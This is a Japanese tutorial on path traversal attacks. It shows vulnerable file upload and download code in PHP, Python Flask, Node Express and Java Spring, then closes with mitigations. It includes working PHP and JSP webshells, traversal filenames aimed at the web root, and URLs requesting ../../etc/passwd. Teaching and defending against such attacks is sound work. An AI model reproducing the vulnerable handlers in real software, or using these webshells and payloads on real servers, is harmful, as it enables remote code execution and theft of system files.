パストラバーサル(Path Traversal)攻撃では、ファイルアップロード機能を悪用して、攻撃者が意図したディレクトリにファイルを保存し、Webシェルなどの悪意のあるスクリプトをサーバーに配置します。この攻撃により、攻撃者は任意のコード実行やサーバーの完全な制御を得ることができます。サーバーがファイルのパスを適切に制御していない場合、ディレクトリの遡りを利用して任意の場所にファイルを配置することが可能です。
if (isset($_FILES['file'])) {
$uploadDir = 'uploads/';
$fileName = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir . $fileName);
}
攻撃手法:
攻撃者は fileName
に ../../var/www/html/shell.php
のようなパスを指定して、WebルートにWebシェルを配置します。このWebシェルにアクセスすることで、サーバー上で任意のPHPコードを実行できるようになります。
<?php system($_GET['cmd']); ?>
from flask import Flask, request, send_from_directory
import os
app = Flask(__name__)
@app.route('/download/<path:filename>', methods=['GET'])
def download_file(filename):
return send_from_directory('uploads/', filename)
filename
がユーザー入力に基づいて直接処理されています。攻撃者は、../../etc/passwd
などのパスを入力することで、サーバー上の任意のファイルを取得できます。たとえば、以下のようなURLをリクエストします:
http://example.com/download/../../etc/passwd
これにより、システムのパスワードファイルをダウンロード可能となります。
const express = require('express');
const path = require('path');
const app = express();
app.get('/download/:filename', (req, res) => {
const filename = req.params.filename;
const filePath = path.join(__dirname, 'uploads', filename);
res.sendFile(filePath);
});
app.listen(3000);
filename
にパストラバーサルを用いた入力(例: ../../../etc/passwd
)を指定することで、サーバー上の任意のファイルにアクセスできます。以下のURLをリクエストします:
http://example.com/download/../../../etc/passwd
これにより、システムの重要なファイルが漏洩します。
@PostMapping("/upload")
public String handleFileUpload(@RequestParam("file") MultipartFile file) {
String uploadDir = "uploads/";
Path filePath = Paths.get(uploadDir + file.getOriginalFilename());
Files.copy(file.getInputStream(), filePath);
return "File uploaded!";
}
攻撃手法:
攻撃者は file.getOriginalFilename()
に ../../../../var/www/html/shell.jsp
のようなパスを設定し、WebルートにJSPベースのWebシェルを配置します。これにより、リモートで任意のJavaコードを実行可能です。
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a = in.read()) != -1) {
out.print((char)a);
}
in.close();
%>
全ての言語において、パストラバーサル攻撃は成立する可能性があります。サーバーがパスの操作において適切な制限を行わない場合、攻撃者は任意の場所にWebシェルを配置することができます。
PythonやNode.jsでアップロードしたWebシェルを直接実行するのは現実的には困難です。これは、Webサーバーの設定やアプリケーションの構成上、アップロードされたファイルが自動的にスクリプトとして実行されるケースが少ないためです。例えば、PHPやJavaであれば、Webサーバーが自動的にスクリプトを実行する設定になっていることが多いため、Webシェル攻撃が成立しやすいですが、PythonやNode.jsでは通常そのような挙動を取らないため、別のアプローチが必要になります。
ファイルパスの正規化と検証
アップロードされたファイルのパスを正規化し、ディレクトリを遡るようなパターン(例: ../
)が含まれていないか検査します。PHPなら realpath()
、Javaなら Paths.get().normalize()
などの方法で、安全なパスに変換します。
保存先ディレクトリの固定化 ファイルの保存先ディレクトリを固定し、絶対パスの指定やディレクトリを遡る操作を防ぎます。また、ファイル名をランダムな名前に変換し、元のファイル名に依存しない設計にします。
ファイル名のサニタイズ
ファイル名から特殊文字や不正なパス構造(例: ../
)を除去し、安全なファイル名に変換します。
ディレクトリのアクセス権制御 アップロードされたファイルがWebサーバーの公開ディレクトリに保存されないようにし、スクリプト実行権限を持たないディレクトリに配置します。
入力検証の強化 ファイル名やパスの入力に対して厳格な検証を行い、攻撃者が意図的にパスを操作できないようにします。